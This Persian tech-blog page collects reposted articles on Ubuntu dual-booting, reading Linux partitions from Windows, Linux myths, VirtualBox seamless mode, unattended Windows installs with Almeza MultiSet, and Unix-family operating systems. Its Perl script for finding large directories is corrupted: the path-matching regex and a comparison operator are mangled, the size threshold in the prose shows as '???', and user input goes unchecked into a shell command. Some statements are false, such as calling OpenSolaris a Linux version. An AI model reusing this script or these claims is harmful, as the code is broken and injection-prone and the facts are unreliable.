شکل 6

پس از انجام اين کار سيستم را مجدداً راه‌اندازي کنيد و وارد مراحل نصب اوبونتو شويد. مراحل نصب را تا پنجره تخصيص فضا ( Prepare disk space ) همانند قبل پي‌گيري کنيد. اکنون گزينه‌ دوم يعني
 Guided - use the largest continuous free space را ( به شکل 1 دقت نماييد ) انتخاب کنيد و دکمه forward را بزنيد. در اين حالت به¬طور خودکار پارتيشن جديد ساخته شده انتخاب خواهد شد. اکنون مي‌توانيد با خيالي راحت بقيه مراحل نصب را دنبال کنيد.
دقت داشته باشيد که براي پيش فرض کردن ويستا در صفحه‌ بوت نيز همانند ايکس پي، بايد وارد محيط اوبونتو شويد و همان مراحل بيان شده براي ايکس‌پي را انجام دهيد.

مهندس محمد اسلامي

1389

سال 1389 را به شما بازدید کننده گرامی تبریک میگویم

محمد جواد شکری مشکله

RED BOY IRAN


پروژه پایان ترم

باسلام 

بزودی (بدلیل سرعت پایین اینترنت من ) در این وبلاگ یک پروژه آنتی ویروس فارسی شده با سورس کامل در اختیار شما قرار خواهد گرفت(به عنوان عیدی من به شما)

که ان رو میتوانید به عنوان پروژه پایان ترم یا ..... استفاده نمایید.

دسترسي به فايل‌هاي لينوکس در ويندوز

دسترسي به فايل‌هاي لينوکس در ويندوز


اين نرم‌افزار همانند نرم‌افزار بالايي است‌، اما مي‌تواند با پارتيشن لينوکسي شما همانند يک پارتيشن ويندوزي عمل کند و در واقع پارتيشن‌هاي از نوع Ext2 و Ext3 را به ويندوز مي‌شناساند. 

اين نرم‌افزار را جهت نصب و استفاده، مي‌توانيد از نشاني زير دريافت كنيد:‌

http://www.fs-driver.org/

DiskInternals

نرم‌افزار DiskInternals Linux Reader نرم‌افزار مفيدي است براي کساني که روي سيستم خود، هم از ويندوز استفاده مي‌کنند و هم از لينوکس. در اين نرم‌افزار مي‌توانيد محيطي کاملا مشابه محيط ويندوز اکسپلورر را ببينيد. البته اين نرم‌افزار از نوشتن در اين درايوها پشتيباني نمي‌کند اما مي‌توانيد به‌سادگي پارتيشن‌هاي Ext2/Ext3 را ببينيد و هر فايلي را که مي‌خواهيد از آن پارتيشن‌ها خارج کنيد.

اين نرم‌افزار رايگان است و مي‌توانيد براي دريافت آن، از وب‌سايت زير اقدام کنيد:

http://www.diskinternals.com/linux-reader/

جام جم انلاین

ترفند لينوکسي

ترفند لينوکسي
فولدريابي
پيداکردن فايل‌هاي بزرگ در سيستم با استفاده از دستورهايي چون find ساده است. اما اگر به‌دنبال دايرکتوري‌هايي مي‌گرديد که حجم آن‌ها از ميزان مشخصي بيشتر است، در اين صورت دستور find هم نمي‌تواند کمک‌تان کند. اما با کمک اين اسکريپت ساده مي‌توانيد دايرکتوري‌هاي بزرگ را هم بيابيد.

اين اسکريپت چند انتخاب دارد که مي‌توانيد از آن‌ها استفاده کنيد، اين انتخاب‌ها به صورت زيرند:

- اگر -d را جلوي دستور بزنيد، دايرکتوري پايه تا جستجو را نشان مي‌دهد.

- اگر -t را انتخاب کنيد، آستانه حجم را به مگابايت محاسبه مي‌کند.

- اگر -x را زديد، الگوهايي از جستجو را ناديده مي‌گيرد.

به دستور زير دقت کنيد:

$ ./file.pl -d ../../ -t 100 -x simulator*

اين دستور دايرکتوري‌هايي که تا دو سطح بالاتر از دايرکتوري فعلي قرار دارند را جستجو کرده و آن‌هايي که حجم بيشتر از ??? مگابايت دارند را انتخاب مي‌کند. اگر اين دايرکتوري‌ها با نام simulator شروع شوند، آن‌ را در فهرست نمي‌آورد.

کد زير را داخل يک فايل متني کپي کرده و سپس با فرمت .pl ذخيره کنيد.

#!/usr/bin/perl -w

use Getopt::Std;

use Cwd 'abs_path';

my %dir;

getopt("dtx",\%dir);

if(!defined $dir{d}){

        print "Usage: program -d dir

[-t threshhold] [-x exclude pattern]\n";

        exit 1;

}

if(!defined $dir{t}){

        $dir{t}=1000;

}

my $f=abs_path($dir{d});

my $cmd="du -m -c $f";

 

if(defined $dir{x}){

      $cmd=$cmd." --exclude=$dir{x}";

}

my $line=`$cmd`;

while($line=~/(\d+)\s+([&~#@&\r\n]+)\r?\n/g){

        if($1»$dir{t}){

                print $1.",".$2."\n";    }

}

10 تصور غلط در مورد لينوکس

10 تصور غلط در مورد لينوکس
لينوکس سيستم عامل نيست
بيشتر کاربران کامپيوتر، تنها از ويندوز به‌عنوان سيستم عامل استفاده کرده‌اند. حتي بسياري نمي‌دانند سيستم‌هاي عامل ديگري مانند ويندوز وجود دارد و اين خوب نيست. ما در زندگي روزمره، دوست داريم انتخاب‌هايمان را در مورد هر چيزي بشناسيم يا انتخاب‌هاي متنوع داشته باشيم؛ چگونگي حرکت از خانه به محل کار، منوي غذا، زمان صرف چاي و... چرا نبايد بدانيم که انتخاب‌هاي ديگري براي سيستم‌عامل وجود دارد و هيچ اجباري در استفاده از ويندوز نيست؟

1- لينوکس يک سيستم عامل است

خير، اين فرض اشتباه است. لينوکس يک هسته (Kernel) است براي سيستم عامل که ويندوز هم چنين هسته‌اي براي خود دارد. ميزان کيفي يک هسته در سيستم‌عامل نقش مستقيم دارد. اگر هسته سيستم‌عامل ضعيف و پرنقص باشد، کل سيستم‌عامل نيز ضعيف و پرنقص خواهد شد. بهترين نام براي سيستم‌عامل لينوکسي، سيستم‌عامل گنو/لينوکس است، چرا که هسته لينوکس بدون همنشيني با پروژه نرم‌افزار گنو به سيستم‌عامل مستقل تبديل نمي‌شد. براي اطلاعات بيشتر، کافي است كرنل را در گوگل جستجو کنيد.

2- لينوکس سيستم‌عامل شبيه DOS است

اين هم فرض اشتباه ديگري است. هر چند لينوکس ابزارهاي زيادي در دل خود دارد که با خط فرمان کار مي‌کنند و اساسا کارها با خط فرمان در لينوکس سريع‌تر انجام مي‌شود، اما پروژه‌هاي جانبي زيادي براي ايجاد يك رابط گرافيکي دلنشين و جذاب مشابه ويندوز وجود دارد. برخلاف ويندوز، اين رابط‌هاي گرافيکي، به‌صورت يک لايه مجزا نسبت به سيستم عامل وجود دارند، به‌اين ترتيب مي‌توانيد هر نوع مديريت ميزکاري که دوست داريد انتخاب کنيد. 2 پروژه بسيار معروف در اين زمينه، KDE و Gnome هستند که هر دو هم کاربران زيادي را به‌سوي خود جلب کرده‌اند؛ گنوم سريع‌تر و کلاسيک‌تر است و نسبت به گنوم، KDE ظاهري زيباتر اما سنگين‌تر دارد.

3- لينوکس براي خوره‌هاي کامپيوتر است

شايد اين جمله، 5سال پيش درست بود، اما بياييد منصفانه قضاوت کنيم، به‌لطف گوگل و ديگر شرکت‌هاي بزرگ تجاري، سيستم‌هاي عاملي چون آندرويد و مابلين در دستگاه‌هاي موبايل، در سطوح بسيار پايين‌تري با کاربر در تماس‌اند و اين نشان مي‌دهد که لينوکس سيستم عامل خاصي نيست.

4- لينوکس با ويندوز همخوان نيست

اين موضوع را نمي‌شود قاطعانه رد کرد. البته لينوکس در بخش‌هايي به‌شدت با ويندوز همخواني دارد. به‌عنوان مثال، مي‌تواند سندهاي مايكروسافت آفيس را به‌سادگي باز کند، ويرايش کند  يا نرم‌افزارهاي جايگزين زيادي چون Gimp، Inkscape و ... را به‌عنوان نرم‌افزارهايي ارائه کند که معادل ويندوزي‌شان کاربردهاي زيادي دارد. اما از طرفي، مثلا در مورد مودم‌هاي ديال‌آپ، از آن‌جاکه بيشتر مودم‌هاي ديال‌آپ از نوع WinModem هستند، از توابع سيستم‌عامل ويندوز براي استفاده و ارتباط با سيستم‌عامل استفاده مي‌کنند و اين باعث مي‌شود که کاربران ديال‌آپ از کار با مودم لينوکس شاکي باشند.

5- کسي از لينوکس استفاده نمي‌کند

اين جمله اشتباه است. تمام ساختمان اينترنت روي شانه‌هاي لينوکس واقع است. لينوکس ماژولار و امن است و براي استفاده روي ساختاري که سرتاسر کره زمين را پوشش مي‌دهد، گزينه منطقي‌تري به‌نظر مي‌رسد. بسياري از سازمان‌هاي دولتي و شرکت‌هاي بزرگ به لينوکس پناه آورده‌اند. لينوکس هم ارزان است (مي‌توان گفت رايگان) هم امن. فقط به اين موضوع فكر كنيد که اگر روزي مايکروسافت ورشکسته شود، اطلاعات حياتي خود را چه خواهيد کرد؟

6- لينوکس پشتيباني فني ندارد

اتفاقا، در کسب و کار منبع‌باز، سيستم جالبي که وجود دارد، پشتيباني فني رايگان و پولي است. بسياري از علاقه‌مندان به منبع‌باز در دنيا وجود دارند که در يک پروژه خاص، بسيار ماهر مي‌شوند و تلاش مي‌کنند تا آن را گسترش دهند. از اين رو، اگر شما هم سراغ آن پروژه برويد، ‌مي‌توانيد در اين جوامع آنلاين عضو شويد و سوالات خود را بپرسيد و اگر روزي احساس کرديد که مي‌توانيد، به سوالات بقيه پاسخ بدهيد. همچنين مي‌توانيد با پرداخت مبلغ ناچيزي، پشتيباني فني يکي از شرکت‌هايي را که از پروژه خاصي پشتيباني مي‌کنند تهيه کنيد.

7- نگهداري لينوکس سخت است

شايد اين موضوع 10سال پيش درست بود، ولي هم‌اکنون نگهداري از لينوکس، ساده‌ترين کار ممکن است. نخست اين‌که لينوکس نيازي به مراقبت و نگهداري ندارد، دوم آن‌که با اضافه کردن سيستم‌هاي ارتقاي خودکار، مي‌توانيد آخرين برنامه‌ها و آخرين مولفه‌هاي مختلف سيستم‌عامل را از روي اينترنت دريافت و نصب کنيد؛ بدون آن‌که حتي سيستم را دوباره راه‌اندازي کنيد.

8- لينوکس بازي ندارد

با اين موضوع مي‌شود موافق بود. مايکروسافت با عرضه DirectX تقريبا تمام شرکت‌هاي توليدکننده بازي را به‌سمت خود جذب کرده و جايي براي ديگران باقي نگذاشته که رقابت کنند. هر چند OpenGL تا حدي توانسته است خود را نزديک به ديركت‌اكس بياورد، اما تا امروز، هيچ شرکت بازي‌سازي‌، به‌خودش زحمت نداده نسخه لينوکسي بازي خود را عرضه کند. معروف‌ترين شرکتي که تصميم گرفت بازي‌هاي خود را به لينوکس بياورد، ID Software بود که Doom، Quake 3 و 4 را عرضه کرد.

9- پشتيباني سخت‌افزاري لينوکس ضعيف است

اين موضوع هم از تصورات قديم درباره لينوکس است. بر اساس تحقيق‌هاي انجام شده، لينوکس بيشتر از ويندوز پشتيباني قطعات سخت‌افزاري دارد، اما با چند تا از توليدکننده‌هاي چاپگر و اسکنر مشکل دارد که مي‌توان با دريافت آنلاين درايور، اين مشکل‌ها را هم حل کرد.

10- براي استفاده از لينوکس، بايد ويندوز را فراموش کرد

اين گفته درست نيست. بسياري از توزيع‌هاي لينوکس، روي ديسکي به‌نام ديسک زنده عرضه مي‌شوند. ديسک‌هاي زنده اين قابليت را دارند که بدون نصب، سيستم‌عامل را امتحان کنيد. حتي نسخه‌هاي زنده USB نيز وجود دارند که مي‌توانيد از آن‌ها هم استفاده کنيد. همچنين مي‌توانيد لينوکس را کنار ويندوز نصب کنيد و هر موقع خواستيد از يکي از آن‌ها استفاده کنيد.

همچنين مي‌توانيد با کمک نرم‌افزارهاي ماشين مجازي‌سازي چون VirtualBox، لينوکس را داخل ويندوزتان و برعکس، ويندوز را داخل لينوکس‌تان نصب کنيد و هر دو را همزمان داشته باشيد.

محمدرضا قرباني


اجراي همزمان برنامه‌هاي ويندوز و لينوکس

اجراي همزمان برنامه‌هاي ويندوز و لينوکس
آبي فقط که به يک جو مي‌رود
شرکت سان مايکروسيستمز، هر چند که طي سال گذشته ميلادي با فراز و نشيب‌هاي زيادي روبه‌رو بود، اما يکي از موفق‌ترين نرم‌افزارهاي خود يعني VirtualBox را به ‌بازار عرضه کرد. با کمک اين نرم‌افزار که ماشيني مجازي توليد مي‌کند، مي‌توان چندين سيستم عامل را همزمان اجرا کرد.

تصورش را بکنيد که روي يک دسکتاپ، هم نوار استارت ويندوز را داريد و هم توي لينوکس در حال چرخ زدن هستيد. و يا حتي از آن جالب‌تر اين‌که مي‌توانيد ياهومسنجر و يا آفيس خود را داخل لينوکس باز کنيد، بدون آن‌که نياز به تعويض پنجره يا رفتن به محيط ديگري داشته باشيد و يا حتي کليپ‌بورد خود را بين دو سيستم عامل به اشتراک بگذاريد.

تمامي اين‌ها با ويرچوال‌باکس ممکن است. اين نرم‌افزار از فناوري SeamlessRDP استفاده مي‌کند. اين فناوري براي پشتيباني ويندوزي از rdesktop طراحي شده است و کليه پنجره‌هاي X11 را مي‌تواند براي هر پنجره ويندوزي طراحي کند.

پيش‌نيازها

قبل از هر چيز بايد آخرين نسخه ويرچوال‌باکس را تهيه کنيد. براي نصب ويرچوال‌باکس، مي‌توانيد از طريق مدير بسته‌هاي نرم‌افزاري توزيع خود، يا از طريق دستور زير، آن را نصب کنيد:

# apt-get install virtualbox-3.0

(توجه کنيد که علامت # به اين معني است که بايد حتما با دسترسي ريشه (root) وارد شده باشيد.) پس از نصب ويرچوال باکس، مي‌توانيد آن را داخل منوي System Tools پيدا و اجرا کنيد.

يکپارچه‌سازي

حالا مي‌خواهيم ماشيني مجازي براي ويندوز اکس‌پي بسازيم. مي‌توانيد همين کار را براي ديگر نسخه‌هاي ويندوز هم انجام دهيد، اما ويندوز اکس‌پي، سبک و سريع است و هنوز از دور خارج نشده است، بنابراين گزينه اول ما براي اجراي ويندوز مجازي، ويندوز اکس‌پي است.

براي راه‌اندازي ويرچوال‌باکس، کافيست روي گزينه New کليک کنيد. گزينه OS Type را ويندوز اکس‌پي انتخاب كنيد. ميزان حافظه RAM که مي‌خواهيد با آن ماشين مجازي به‌اشتراک بگذاريد را در مرحله بعدي وارد کنيد. 512مگابايت به بالا گزينه بهتري است.

در مرحله بعدي بايد ديسک سخت خود را مشخص کنيد، پيشنهاد مي‌كنم گزينه Dynamically Expanding Image را انتخاب کنيد که مطابق با مصرف‌تان در ويندوز، حجم ماشين مجازي‌تان گسترده شود. براي نصب از طريق ديسک سي‌دي، حتما خاطر‌تان باشد که بايد سي‌دي‌رام را براي ماشين مجازي فعال کنيد. اين کار از طريق تنظيمات انجام مي‌شود.

بعد از اين‌که عمليات نصب به اتمام رسيد و ويندوز بالا آمد، به مسير زير برويد:

Start -» Run -» ‘regedit’

پنجره ويرايشگر رجيستري باز مي‌شود. به مسير زير برويد:

HKEY_CURRENT_USER-»Software-»Microsoft-»

Current Version -» Policies -» Explorer

و بعد در پنل سمت راست کليک راست کنيد و متغير جديدي از نوع DWORD بسازيد. نام آن را NoDesktop بگذاريد و مقدار آن را به 1 تغيير دهيد.

اين کار را براي اين انجام داديم که ميزکار سيستم عامل مهمان نشان داده نشود و فقط تسک‌بار و منوي استارت آن ديده شود. حال ممکن است ويرچوال‌باکس از شما سوال بپرسد و بخواهد چيزي را به‌عنوان Guest Addition نصب کند. اين بسته براي حرکت نرم ماوس ميان سيستم‌ عامل‌هاي ميزبان و مهمان است. کافي است آن را نصب کنيد و دستورات آن را دنبال کنيد تا عمليات نصب به پايان برسد.

وقتي نصب به اتمام رسيد، يک بار سيستم را از طريق ويندوز اکس‌پي خاموش کنيد. دوباره آن را راه‌اندازي کنيد و وقتي کاملا بالا آمد، از طريق منوي ماشين، گزينه Seamless Mode را انتخاب کنيد. حالا خواهيد ديد که تسک‌بار ويندوز روي ميزکار لينوکس‌تان نشان داده مي‌شود و مي‌توانيد به‌سادگي با هر دو سيستم عامل، به‌طور همزمان کار کنيد. توجه داشته باشيد که به‌اين روش مي‌توانيد نرم‌افزارهاي ويندوزي غيرقابل اجرا روي لينوکس از جمله آفيس2007 را هم در لينوکس خود داشته باشيد.

شايان اسدي

نصب خودكار سيستم‌عامل و نرم‌افزارها

نصب خودكار سيستم‌عامل و نرم‌افزارها
لطفا دخالت نكنيد!

تا چند وقت پيش و قبل از آن‌كه سرويس‌پك شماره3 ويندوز اكس‌پي روانه بازار شود، ويندوزهايي در بازار به فروش مي‌رفت كه تحت عنوان ويندوز اكس‌پي سرويس‌پك3 شناخته مي‌شدند. اگر آنها را خريداري و نصب كرده باشيد، مطمئنا ديده‌ايد كه اين ويندوزها در اصل سرويس‌پك 3 نيستند اما تغييراتي در ظاهر آنها داده شده است كه آنها را زيباتر و روان‌تر كرده است. همچنين در برخي از آنها نيز عمليات نصب به‌طور خودكار انجام مي‌گيرد و در برخي ديگر نيز همزمان با نصب سيستم‌عامل، چندين نرم‌افزار مهم و كاربردي نصب مي‌شود. ‌ ‌


فقط براي تو

تا‌‌به‌حال به اين فكر كرده‌ايد كه شما هم يك ويندوز مخصوص خودتان بسازيد؟ فرض كنيد در يك مغازه ارائه‌دهنده خدمات رايانه‌اي مشغول به كار هستيد و مي‌خواهيد روي تمام ويندوزهايي كه نصب مي‌كنيد، چندين نرم‌افزار عمومي و حتي چند بازي يا ... را نيز نصب كنيد. براي انجام اين كار از روش خاصي استفاده مي‌كنيد؟ يا شايد مثل اكثر كاربران ابتدا ويندوز را نصب كرده سپس برنامه‌هاي مورد نظرتان را تك‌‌‌تك نصب مي‌كنيد؟ به نظر شما بهتر نيست يك ويندوز با توجه به نيازها و سلايق خودتان براي استفاده در اين موارد آماده كنيد تا نه تنها هنگام نصب ويندوز از شما سريال، زمان، تاريخ و ... درخواست نشود و تمام عمليات نصب به‌طور خودكار به انجام برسد، بلكه نرم‌افزارهاي مورد نظرتان نيز همراه با نصب ويندوز روي سيستم‌عامل نصب شوند.

راهبر نصب خودكار

اگر با خواندن اين بخش از مقاله به انجام چنين كاري علاقه‌مند شده‌ايد اما فكر مي‌كنيد براي انجام اين كار بايد حرفه‌اي باشيد، پيشنهاد مي‌كنيم ادامه مطالب را نيز بخوانيد. چرا كه نرم‌افزار پيشنهادي اين هفته ما يعني ‌Almeza MultiSet‌ به شما اين امكان را مي‌دهد تا چنين كاري را به راحتي آب خوردن انجام دهيد! از اين نرم‌افزار كه به‌عنوان يك راهبر در ميان ابزارهاي ايجاد برنامه‌هاي داراي قابليت نصب خودكار به شمار مي‌رود، مي‌توانيد براي ساخت ديسك‌هاي نصب هوشمند سيستم‌عامل استفاده كنيد. با در اختيار داشتن چنين ديسك‌هايي مي‌توانيد‌بدون مشاهده سوال‌هاي مختلفي همچون شماره سريال، تاريخ، زمان و ديگر تنظيمات پيش‌فرض، ويندوز مورد نظرتان همراه با برنامه‌هاي مورد علاقه به اضافه سرويس‌پك‌هاي موجود تا آن تاريخ را روي رايانه نصب كنيد.

برخي از قابليت‌ها و امكانات اين نرم‌افزار قدرتمند عبارتند از:

1– نصب خودكار ويندوز:‌ ‌به كمك اين برنامه مي‌توانيد ديسك‌هايي را ايجاد كنيد كه از آنها براي نصب خودكار ويندوز روي هر رايانه‌اي مي‌توان استفاده كرد. نصب اين ويندوزها به‌صورت نصب جديد و نصب روي ويندوز قبلي امكان‌پذير است. ‌ ‌

2– نصب خودكار نرم‌افزارها:‌ ‌اگر مي‌خواهيد پس از نصب ويندوز، نرم‌افزارهايي را به‌طور خودكار و سريع، بدون وارد كردن شماره سريال، انجام مراحل تنظيمات خاص و ... روي رايانه‌هاي مورد نظرتان نصب كنيد، مي‌توانيد از اين برنامه استفاده كنيد. ساخت ديسك‌هاي نصب خودكار نرم‌افزارهاي مختلف، از ديگر قابليت‌هاي اين برنامه است.

3– ساخت ديسك‌هاي راه‌انداز:‌‌ساخت ديسك‌هاي راه‌انداز ويندوز يا همان بوت ديسك‌‌ها، از قابليت‌هاي بسيار كاربردي در اين نرم‌افزار است. به كمك اين قابليت مي‌توانيد از تركيب موارد 1 و 2 همزمان با هم استفاده كنيد. يعني ديسك‌هايي بسازيد كه نه تنها نصب ويندوز به وسيله آنها به‌طور خودكار انجام مي‌شود، بلكه همزمان با نصب ويندوز، نرم‌افزارهاي مورد علاقه شما نيز روي رايانه نصب مي‌شود. به اين ترتيب وقتي مراحل نصب ويندوز به پايان مي‌رسد مشاهده مي‌كنيد كه نرم‌افزارهاي موردنظرتان نيز روي آن نصب شده است و نياز به انجام هيچ تنظيمات خاصي براي استفاده از رايانه وجود ندارد!

4– بازيافت خودكار:‌گاهي اوقات بازيابي اطلاعات رجيستري يا تنظيمات اعمال شده روي بخش‌ها و نرم‌افزارهاي مختلف مي‌تواند مشكلات بسيار زيادي را حل كند. از ديگر امكانات موجود در اين برنامه نيز قابليت بازگرداني اطلاعات رجيستري، تنظيمات نرم‌افزارها و ... است.

راه‌كارهاي سازماني

استفاده از اين برنامه براي كاربران عادي نوعي پيشنهاد به‌حساب مي‌آيد اما اگر شما مدير انفورماتيك يك اداره يا سازمان هستيد توصيه مي‌كنيم از اين برنامه استفاده كنيد چرا كه به كمك اين برنامه به شكل اعجاب‌آوري در زمان شما صرفه‌جويي مي‌شود. به كمك اين برنامه براي اعمال يك تغيير خاص روي سيستم‌عامل تمام كاربران نيازي نيست تا پشت هر رايانه قرار بگيريد يا تمام آنها را تك‌‌‌تك تنظيم كنيد. بلكه مي‌توانيد با كنترل همه جانبه و از راه دور توسط اين برنامه، تغييرات مورد نظر را با يك كليك روي هر تعداد رايانه كه بخواهيد، اعمال كنيد. به‌عنوان مثال، فرض كنيد قصد داريد يك نرم‌افزار پيام‌رسان جديد را روي رايانه تمام كاربران نصب كنيد تا از اين پس بتوانند در شبكه داخلي سازمان به گفتگو با يكديگر بپردازند. اگر رايانه‌هاي موجود در سازمان فقط 50 عدد باشد و براي نصب نرم‌افزار روي هر رايانه نيز يك دقيقه زمان لازم باشد، بدون احتساب زمان حركت تا قرارگيري پشت رايانه‌ها و ديگر زمان‌هاي مورد نياز، حداقل 50دقيقه زمان نياز است تا اين كار را به انجام برسانيد. در صورتي‌كه با استفاده از اين برنامه كافيست فايل نصب را آماده كنيد سپس با يك كليك و در همان مدت زمان يك دقيقه‌اي عمليات نصب روي 50 رايانه، يا حتي 5000 رايانه را به اتمام برسانيد!

اين نرم‌افزار داراي حجمي معادل 3/5 مگابايت است و بيش از 27 زبان مختلف از جمله زبان فارسي را پشتيباني مي‌كند. براي استفاده از اين برنامه و آشنا شدن با ديگر امكانات و قابليت‌هاي منحصر‌به‌فرد آن مي‌توانيد به سايت زير مراجعه كرده و نسخه محدود شده آن را به‌طور رايگان دانلود كنيد:

http://www.almeza.com

محدوديت‌هاي موجود در نسخه رايگان: ‌ ‌

– وجود عبارت [‌Unregistered version‌] در نوار عنوان پنجره نرم‌افزار ‌ ‌

– امكان نصب حداكثر 7نرم‌افزار به‌طور خودكار

– عدم امكان ايجاد ديسك راه‌انداز براي نصب خودكار ويندوز و نرم‌افزارها به‌طور همزمان

– استفاده محدود به مدت 30روز

امير عصاري

از ويندوز خسته شده‌ايد؟

 

از ويندوز خسته شديد؟ مي‌توان بهتر كار و زندگي كرد، آن هم بدون ويندوز و با جايگزيني كه سرآمد سيستم‌عامل‌هاي ديگر است.

در آغاز كار رايانه‌ها، كاربران آنها مي‌بايست با زبان ماشين آشنايي كاملي مي‌داشتند تا بتوانند با يك رايانه كه شكل آن با انواع امروزي بسيار متفاوت بود، كار كنند. زبان ماشين چيزي است مانند كارت‌هايي كه چند سال پيش به صورت نواري وارد دستگاه‌ها مي‌شد.
اين كار هم به اين دليل بود كه انسان با سخت‌افزار كه همان قطعات الكترونيكي رايانه هستند، نمي‌تواند براحتي ارتباط برقرار كند؛ چراكه اصولا رايانه فقط زبان ماشين مي‌داند و نه چيز ديگري.

كم‌كم با گسترش كاربري رايانه‌ها براي مشاغل بزرگ، سازندگان به فكر برقراري ارتباط راحت‌تر ميان انسان و رايانه افتادند و همين امر باعث شد با استفاده از زبان‌هاي برنامه‌نويسي نزديك با زبان ماشين شروع به طراحي واسطي براي اين امر كردند و بالاخره واسطي به نام سيستم‌عامل (Operating System) پا به عرصه فناوري گذاشت. به زبان ساده مي‌توان گفت سيستم‌عامل رابط انسان است با سخت‌افزار.

با نگاهي كلي چند سيستم‌عامل قدرتمند خواهيد ديد كه چيزي مانند ويندوز، جايي در ميان بزرگان و اهل فن ندارد.


يكي از قدرتمندترين و زيربنايي‌ترين سيستم‌عامل‌هاي امروزي يونيكس است. يونيكس، سيستم‌عاملي است كه اواخر دهه 60 ميلادي به دست گروهي از كاركنان AT&T (سازمان تلگراف و تلفن آمريكا) در لابراتوار بل (Bell) متولد شد. سيستم‌هاي يونيكس امروزي به انواع گوناگوني تقسيم مي‌شوند كه در طول سال‌ها توسط خود AT&T و بسياري از شركت‌ها و گروه‌ها در سراسر جهان گسترش يافته‌‌اند.

از سال 2007، يك كنسرسيوم استانداردهاي صنعتي به نام The Open Group صاحب نام تجاري UNIX است. امروزه يونيكس چيزي بيشتر از يك سيستم‌عامل شده است؛ يعني چيزي در حد يك استاندارد.

سيستم‌هايي كه به طور كامل همسان و مبتني بر قوانين Single Unix Specification هستند، مجاز به استفاده از اين نام تجاري شناخته مي‌شوند و بقيه سيستم‌ها در طبقه‌بندي شبه‌يونيكس (Unix-like) جايدهي مي‌شوند.

در دهه‌هاي 70 و اوايل 80، تاثير يونيكس در محافل دانشگاهي موجب خيزش بزرگي از آن در گرايش‌هاي تجاري نيز شد كه از مهم‌ترين آنان مي‌توان به نسخه‌هايي چون Solaris از شركت Sun Microsystems و يا UX  HP و حتي IBM AIX اشاره كرد كه از سيستم‌هاي تاييد شده و كلاسيك يونيكس به شمار مي‌روند و علاوه بر سيستم‌هاي تاييد شده يونيكس مانند Apple Mac OSX، سيستم‌هاي شبه‌يونيكس هم بسيار پرطرفدار هستند كه از جمله آنها مي‌توان به سيستم‌عامل‌هاي معروفي چون Linux‌ ها يا BSD ها اشاره كرد.

گاهي اوقات يونيكس سنتي ممكن است به منظور توضيح و تفسير يكي از نسخه‌هاي يونيكس و يا سيستم ‌عامل ‌هايي كه يكي از ويژگي‌هاي Unix 7Version يا 5 Unix System را دارند، مورد استفاده قرار گيرند. خوب است بدانيد ساختمان يونيكس بر پايه زبان برنامه‌نويسيc بنا نهاده شده است.

لينوكس

لينوكس نه يك سيستم‌عامل كامل بلكه نام هسته سيستم‌عامل است و به طور كلي مي‌توان گفت اين نامي است كه به سيستم‌عامل‌هاي شبه‌يونيكس كه براساس هسته لينوكس هستند، اطلاق مي‌شود و فراموش نكنيد كه هسته سيستم‌عامل يعني اصلي‌ترين بخش آن.

اين سيستم‌عامل نماد و سرآمد سيستم‌هاي متن باز است و تمامي وجوه آن بر اساس استانداردهاي گنو GNU ساخته شده است. از طرفي اين سيستم، منبعي براي نرم‌افزارهاي رايگان نيز است و نسخه‌هاي سرور و كلاينت آن اغلب رايگان است و تنها در موارد بسيار خاص كه براي كارهاي موردي تهيه شده است، رايگان نيست؛ اما استفاده از آن لذت استفاده از يك سيستم‌عامل امن و پايدار و رايگان را برايتان فراهم خواهد كرد.

اين سيستم‌عامل با انواع سخت‌افزارها نيز سازگار بوده و مي‌توان آن را روي ساده‌ترين رايانه‌ها نيز نصب كرد و نياز چنداني به سخت‌افزارهاي قدرتمند ندارد. لينوكس گسترش عرضه خود روي رايانه‌هاي روميزي، سرور، همراه و حتي موبايل را مديون نسخه محبوب ابونتو (Ubuntu) است.

ابونتو براساس نسخه دبيان بنا نهاده شده است. از نكات مهم و جذاب آن مي‌توان به موارد زير اشاره كرد. آساني مراحل نصب، زيبايي مراحل گرافيكي، پشتيباني اينترنتي قدرتمند و گسترده. البته اين سيستم‌عامل هم بي‌عيب نيست و هنوز براي كاربران معمولي مناسب نيست.

لينوكس در حقيقت يك پروژه دانشگاهي بود كه لينوس تروالدز آن را آغاز كرد و با درخواست همكاري او از همه، در مدت كوتاهي يك سورس 500 خطي به يك سيستم‌عامل قدرتمند و به بنياد لينوكس تبديل شد كه امروزه در جاي خود بي‌رقيب است. نسخه‌هاي اصلي و كاربردي لينوكس را با نام‌هاي Debian، Novell OpenSuse  IBM ، RedHat Linux،RedHat Fedora Core، Ubuntu، Sun Microsystems OpenSolaris، Xandros، Arch Linux وCentOS Enterprise Linux مي‌توانيد بيابيد .

سولاريس چيست؟

سولاريس، يكي ديگر از فرزندان خانواده يونيكس است. سيستم‌عامل‌هاي Solaris وOpenSolaris با وجود تفاوت‌هاي فراوان، هر دو از محصولات شركت Sun Microsystems و بر پايه يونيكس هستند. اين سيستم‌عامل به عنوان يكي از مقياس‌پذيرترين (قابل حجيم شدن) سيستم‌عامل‌هاست، بخصوص در SPARC.

اين خاصيت اين امكان را به سيستم‌عامل مي‌دهد تا براساس نياز و بدون محدوديت حجم پردازش‌ها و ورودي و خروجي‌ها را گسترش دهد، بدون آن كه دچار اختلال شود. براي درك بهتر اين خاصيت، ويندوزي را تصور كنيد كه چند برنامه را مي‌خواهد با هم اجرا كند، زياد منتظر جواب نباشد  ويندوز هنگ كرده است...

نسخه‌اي كه تمام كاستي‌هاي يك سيستم‌عامل را كنار گذاشته و جاي آن را قابليت‌هاي زيبا و مثال‌زدني پركرده است، سيستم‌عامل مك ايكس‌ محصول شركت اپل مكينتاش استسولاريس نيز از جمله سيستم‌عامل‌هايي است كه داراي لايسنس Single Unix Specification هستند و به همين دليل از نسخه‌هاي يونيكس به حساب مي‌آيد. OpenSolaris نيز يك نمونه لينوكسي اين سيستم‌عامل است كه كار سرورهاي كوچك را بسيار قدرتمند انجام مي‌دهد؛ اما اين ويرايش نيز به درد كاربران خانگي نمي‌خورد.

نسخه 10 سيستم‌عامل Solaris آخرين نسخه ارائه شده توسط شركت SUN است كه البته نياز شديدي به كاربرپسند شدن دارد. اين نسخه، نمونه كاملي از يك سيستم‌عامل پايدار است.

BSD

اين كلمه مخفف Berkeley Software Distribution است. اين سيستم‌عامل، توليد گروه تحقيقات سيستم‌هاي كامپيوتري دانشگاه بركلي كاليفرنياست. امروزه نام
 BSD، معمولا به سيستم‌عامل‌هاي برگرفته شده از آن اتلاق مي‌شود. FreeBSD، NetBSD و OpenBSD نمونه‌اي از معروف‌ترين اعضاي اين خانواده هستند.

